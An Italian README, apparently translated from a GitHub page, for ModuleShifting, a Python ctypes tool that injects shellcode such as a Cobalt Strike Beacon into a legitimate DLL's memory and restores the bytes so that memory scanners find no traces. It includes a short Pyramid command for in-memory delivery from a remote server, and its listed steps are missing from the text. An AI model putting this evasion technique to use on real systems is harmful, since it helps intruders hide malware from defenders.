
Variante più furtiva delle tecniche di injection Module Stomping e Module Overloading che riduce le IoCs di memoria. Implementato in Python ctypes
Questo strumento è stato presentato al 2023 x33fcon talk: "Migliorare la furtività delle tecniche di iniezione della memoria" [Video] [Blogpost]
ModuleShifting è una variante più furtiva della tecnica di iniezione Module Stomping e Module Overloading. È implementata in Python ctypes in modo da poter essere eseguita interamente in memoria tramite un interprete Python e Pyramid, evitando così l'uso di loader compilati.
La tecnica può essere utilizzata con payload PE o shellcode, tuttavia la variante più furtiva è da usare con payload shellcode che devono essere funzionalmente indipendenti dal payload finale che lo shellcode sta caricando.
ModuleShifting, quando utilizzato con payload shellcode, esegue le seguenti operazioni:

Quando si utilizza un payload PE, ModuleShifting esegue le seguenti operazioni:
ModuleShifting può essere utilizzato per iniettare un payload senza allocare memoria dinamicamente (es. VirtualAlloc) e rispetto a Module Stomping e Module Overloading è più furtivo perché riduce la quantità di IoC generati dalla tecnica di iniezione stessa.
Ci sono 3 differenze principali tra Module Shifting e alcune implementazioni pubbliche di Module Stomping (una di Bobby Cooke e WithSecure)
Le differenze tra Module Shifting e Module Overloading sono le seguenti:
Utilizzando un payload shellcode funzionalmente indipendente come un payload shellcode AceLdr Beacon Stageless, ModuleShifting è in grado di iniettare localmente senza allocare memoria dinamicamente e al momento genera zero IoC in una scansione con Moneta e PE-Sieve. Sono consapevole che i payload dormienti di AceLdr possono essere rilevati con altri ottimi strumenti come Hunt-Sleeping-Beacon, ma l'attenzione qui è sulla tecnica di iniezione stessa, non sul payload. Nel nostro caso, ciò che consente una maggiore furtività nell'iniezione è l'indipendenza funzionale dello shellcode, in modo che i byte dannosi scritti possano essere ripristinati al loro contenuto originale, cancellando efficacemente le tracce dell'iniezione.
Tutte le informazioni e i contenuti sono forniti solo a scopo educativo. Segui le istruzioni a tuo rischio. Né l'autore né il suo datore di lavoro sono responsabili per eventuali danni o perdite diretti o consequenziali derivanti da qualsiasi persona o organizzazione.
Questo lavoro è stato reso possibile grazie alla conoscenza e agli strumenti condivisi da persone incredibili come Aleksandra Doniec @hasherezade, Forest Orr e Kyle Avery. Ho utilizzato pesantemente Moneta, PeSieve, PE-Bear e AceLdr durante tutto il mio processo di apprendimento e sono stati fondamentali per la mia comprensione di questo argomento.
ModuleShifting può essere utilizzato con Pyramid e un interprete Python per eseguire l'iniezione nel processo locale completamente in memoria, evitando loader compilati.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
Per eseguire con successo questa tecnica, dovresti utilizzare un payload shellcode in grado di caricare un payload aggiuntivo autosufficiente in un'altra area di memoria. ModuleShifting è stato testato con il payload AceLdr, che è in grado di caricare una copia completa di Beacon nell'heap, rompendo così la dipendenza funzionale dallo shellcode iniziale. Questa tecnica funzionerebbe con qualsiasi payload shellcode con capacità simili. Quindi lo shellcode iniziale diventa inutile una volta eseguito e non c'è motivo di tenerlo in memoria come IoC.
Bisogna anche scegliere una DLL host con spazio sufficiente per lo shellcode nella sezione di destinazione, altrimenti la tecnica fallirà.
Module Stomping e Module Shifting devono scrivere shellcode nello spazio di memoria di una DLL legittima. ModuleShifting eliminerà questo IoC dopo la fase di pulizia, ma gli indicatori potrebbero essere individuati da scanner con capacità di ispezione in tempo reale.
